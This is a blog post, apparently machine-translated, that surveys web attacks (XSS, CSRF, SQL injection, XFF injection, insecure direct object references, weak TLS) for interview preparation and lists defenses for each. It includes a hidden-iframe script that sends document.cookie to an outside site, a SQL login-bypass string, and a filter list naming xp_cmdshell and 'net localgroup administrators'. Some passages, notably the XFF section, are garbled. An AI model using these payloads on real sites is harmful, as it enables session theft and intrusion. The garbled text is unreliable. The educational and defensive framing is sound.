preface

I have been less knowledgeable about WEB security, but I have had some time to learn about it recently. Also for the future interview bar, before I met the WEB security questions, the answer is not very ideal, so I sorted it out!

First, XSS attack

Cross Site Scripting is abbreviated to XSS so as not to confuse the acronym for Cascading Style Sheets (CSS). Malicious attackers insert malicious Script codes into Web pages. When users browse the page, the Script codes embedded in the Web will be executed, so as to achieve the purpose of malicious attacks on users.

Features: Do whatever it takes to execute scripts on target sites that are not on target sites.

XSS hazards

  1. Using JS or CSS to break the normal structure and style of the page
  2. Steal cookies through document.cookie to achieve password-free access
  3. Traffic hijacking (locating to another page by accessing a segment with window.location.href)
  4. Dos attack: The use of reasonable client requests to occupy too many server resources, so that legitimate users cannot get a response from the server.
  5. Use iframe, Frame, XMLHttpRequest, or the above Flash method to perform administrative actions as the (attacked) user, or perform general operations such as tweeting, adding friends, and sending private messages.
  6. By taking advantage of the fact that the domain that can be attacked is trusted by other domains, the trusted source requests some operations that are not normally allowed, such as improper voting activities.

attacks

1. Reflected XSS (Reflected XSS attack)

Non-persistent, reflective XSS vulnerabilities are common in functions that pass parameters through urls, such as web search, jump, and so on. Because users need to take the initiative to open malicious URL to take effect, attackers often combine a variety of means to induce users to click. Reflective XSS can also be triggered by the contents of a POST, but the trigger condition is more stringent (the form submission page needs to be constructed and the user is directed to click), so it is very rare.

Attack steps of reflective XSS:

  • The attacker constructs a special URL that contains malicious code.
  • When a user opens a URL with malicious code, the web server takes the malicious code out of the URL, splices it into HTML and returns it to the browser.
  • When the user’s browser receives the response, it parses it and executes the malicious code mixed in.
  • Malicious code steals user data and sends it to the attacker’s website, or impersonates the user’s behavior and calls the target website interface to perform the operations specified by the attacker.

2. Stored XSS (Stored XSS attack)

Persistent, this kind of attack is common in the function of the website with user saved data, such as forum posts, product reviews, user private messages and so on.

Storage XSS attack steps:

  • The attacker submits malicious code to the database of the target website.
  • When the user opens the target website, the website server takes the malicious code out of the database, splices it into HTML and returns it to the browser.
  • When the user’s browser receives the response, it parses it and executes the malicious code mixed in.
  • Malicious code steals user data and sends it to the attacker’s website, or impersonates the user’s behavior and calls the target website interface to perform the operations specified by the attacker.

3. Dom-based or local XSS attacks

The usual offer is free wifi, but a gateway offering free wifi will insert a script or return a phishing page to any page you visit, planting malicious scripts. This kind of direct presence on the page without going back through the server is a local XSS attack.

DOM XSS attack steps:

  • The attacker constructs a special URL that contains malicious code.
  • The user opens a URL with malicious code.
  • When the user’s browser receives the response, it parses it and executes it. The front-end JavaScript picks up the malicious code in the URL and executes it.
  • Malicious code steals user data and sends it to the attacker’s website, or impersonates the user’s behavior and calls the target website interface to perform the operations specified by the attacker.

A simple case

Use XSS to pop up a malicious warning box with the code:

<script>alert("xss")</script>
Copy the code

The XSS input may also be a snippet of HTML code, such as:

<meta http-equiv="refresh" content="0;">
Copy the code

The code for embedding links from other sites is:

<iframe src="http://www.jsay.org" width=0 height=0></iframe>
<! -- Jsay.org Personal station is not yet operational! -->
Copy the code

JavaScript to write a cross-site request script is XSS, as follows:

<! -- Jsay.org Personal station is not yet operational! -->
<! Submit this code in the comments/comment box -->
<script type="text/javascript">
  (function(window, document) {
      // Construct the URL used to leak information
      var cookies = document.cookie;
      var xssURIBase = "http://www.jsay.org/xss/";
      var xssURI = xssURIBase + window.encodeURI(cookies);
      // Create a hidden IFrame for communication
      var hideFrame = document.createElement("iframe");
      hideFrame.height = 0;
      hideFrame.width = 0;
      hideFrame.style.display = "none";
      hideFrame.src = xssURI;
      / / start
      document.body.appendChild(hideFrame); }) (window.document);
</script>
Copy the code

XSS defenses

Filter the input (and URL parameters) and encode the output. That is, all the submitted content is filtered. Parameters in the URL are filtered to remove the content that may lead to script execution. It then htML-encodes the content that is dynamically output to the page so that the script cannot be executed in the browser. Although filtering of input can be bypassed, a large proportion of XSS attacks are still intercepted.

  1. For input, URL parameters, etc. (e.g.<>,/ 、&,',") to escape, filter, only accept content submitted within the specified length range and in the format we expect, and block or ignore any other data;
  2. Encode and escape characters of potential threats before outputting data.
  3. XSS generally uses JS steps to read cookies in the user’s browser. If the HttpOnly attribute is set on the server side for cookies, then the JS script cannot read cookies, but the browser can still use cookies normally.
  4. Set the black and white list.
  5. The essence of Content Security Policy is whitelisting. The developer clearly tells the client which external resources can be loaded and executed, which is equivalent to providing a whitelist. Its implementation and execution are all done by the browser, and the developer only needs to provide the configuration.

CSRF attack

Cross-site Request Forgery (CSRF), also known as One Click Attack or Session Riding, is a malicious exploitation of a website. Although it sounds like cross-site scripting (XSS), it is very different from XSS, which exploits a trusted user within a site, whereas CSRF exploits a trusted site by masquerading as a trusted user’s request. Compared to XSS attacks, CSRF attacks tend to be less popular (and therefore have relatively few resources to defend against them) and harder to defend against, so they are considered more dangerous than XSS attacks.

What it is: CSRF attacks are implicit authentication mechanisms derived from the Web. The Web’s authentication mechanism guarantees that a request is from a user’s browser, but it does not guarantee that the request was approved by the user. CSRF attacks are usually resolved by the server.

CSRF attack conditions:

  • Log in to trusted website A and generate cookies locally.
  • Visit dangerous site B without logging out of A.

Although sometimes when you visit website B, you do not visit website A, but there is no guarantee that the local Cookie you have logged in to website A before has expired, website B can also launch attacks in this case. The CSRF attack is an implicit authentication mechanism from the WEB! The WEB’s authentication mechanism can guarantee that a request is from a user’s browser, but it can’t guarantee that the request is user-approved!

CSRF defense

  1. Cookie Hashing(all forms contain the same pseudo-random value);
  2. Verification code;
  3. One-time Tokens(Different forms contain a different pseudo-random value);
  4. Prevent third-party websites from accessing user cookies, and prevent third-party websites from requesting interfaces.

SQL injection

By inserting SQL commands into Web form submissions or entering query strings for domain names or page requests, the server is eventually tricked into executing malicious SQL commands. It takes advantage of an existing application’s ability to inject (malicious) SQL commands into the back-end database engine to execute them. It can get a database on a vulnerable website by typing (malicious) SQL statements into a Web form, rather than executing the SQL statements intended by the designer.

The principle of

SQL injection attacks is by constructing a special input as a parameter to a Web application, and some combination of these input is mostly in the SQL syntax, by executing the SQL statement, in turn, execution of the attacker’s to operation, its main reason is that the program did not carefully to filter the user input data, the illegal data into the system.

A simple example:

// The front end gives the back end the POST key pair, the login user name and passwordlet data = {
  username: 'admin'.pwd: 'abc123456'SELECT * FROM user WHERE username='${username}' AND psw='${pwd}'
Copy the code

Admin ‘–; The SQL statement for the query looks like this:

SELECT * FROM user WHERE username='admin' -- AND psw='${pwd}'
Copy the code

Mysql > alter table SQL > alter table SQL > alter table SQL > alter table SQL > alter table SQL

SQL Injection Defense

  1. Never trust user input. Verify user input, either through regular expressions or by limiting the length; Converts single quotes to double “-” and so on.
  2. Never use dynamically assembled SQL, instead use parameterized SQL or use stored procedures directly for data query access.
  3. Never use database connections with administrator privileges. Use separate, limited database connections for each application.
  4. Do not store confidential information directly, encrypt or hash out passwords and sensitive information.
  5. Application exception messages should provide as little information as possible. It is best to wrap the original error messages with custom error messages
  6. SQL injection detection methods generally take auxiliary software or website platform to detect, software generally uses SQL injection detection tool JSKY, website platform has yisi website security platform detection tool. MDCSOFT SCAN, etc. Mdcsoft-ips can effectively defend against SQL injection and XSS attacks.

Iv. XFF injection

This forwarded-FOR server is forwarded-for. This forwarded-for server is forwarded-for. This forwarded-for server is forwarded-for, and this forwarded-for server is forwarded-for.

Prevention of XFF

  1. This function filters the contents of the X-Forwarded-for header of the HTTP server. Sensitive characters are not allowed to be inserted into it. For details, see the SQL injection repair solution.

  2. Filter the following sensitive characters. The following special characters and strings need to be filtered:

    net user
xp_cmdshell
add
exec master.dbo.xp_cmdshell
net localgroup administrators
select
count
Asc
char
mid
': "INSERT delete from drop table update TRUNCate from %Copy the code

Unsafe direct object references

This happens when a developer exposes a reference to an internal implementation object (such as a file, directory, or database key in a URL or FORM parameter). An attacker can use this information to access other objects and can create future attacks to access unauthorized data.

Simple example: Changing the userID in the following URL enables an attacker to view information about other users. http://www.jsay.org/userid=123 is changed to http://www.jsay.org/userid=124 attacker can be changed by the user id value to check other information. Or download files allow access to http://www.jsay.org/a.txt, but can see are not allowed to access the files via http://www.jsay.org/b.txt!

defense

  1. Implement access control checks.
  2. Avoid exposing object references in urls.
  3. Validates authorization for all referenced objects.

Six, the transmission layer protection is insufficient

Handles the exchange of information between the user (client) and server (application). Applications often transfer sensitive information, such as authentication details, credit card information, and session tokens, over the network. By using weak algorithms or using expired or invalid certificates or not using SSL, you can allow communication to be exposed to untrusted users, which could compromise Web applications and/or steal sensitive information.

defense

  1. Enable secure HTTP and enforce credential transfer only over HTTPS.
  2. Make sure your certificate is valid and has not expired.

My own operation of the public account, record my own growth

Public account: Front-end day

Official ID: Js-say

Ps: Yes (yue) no (ri)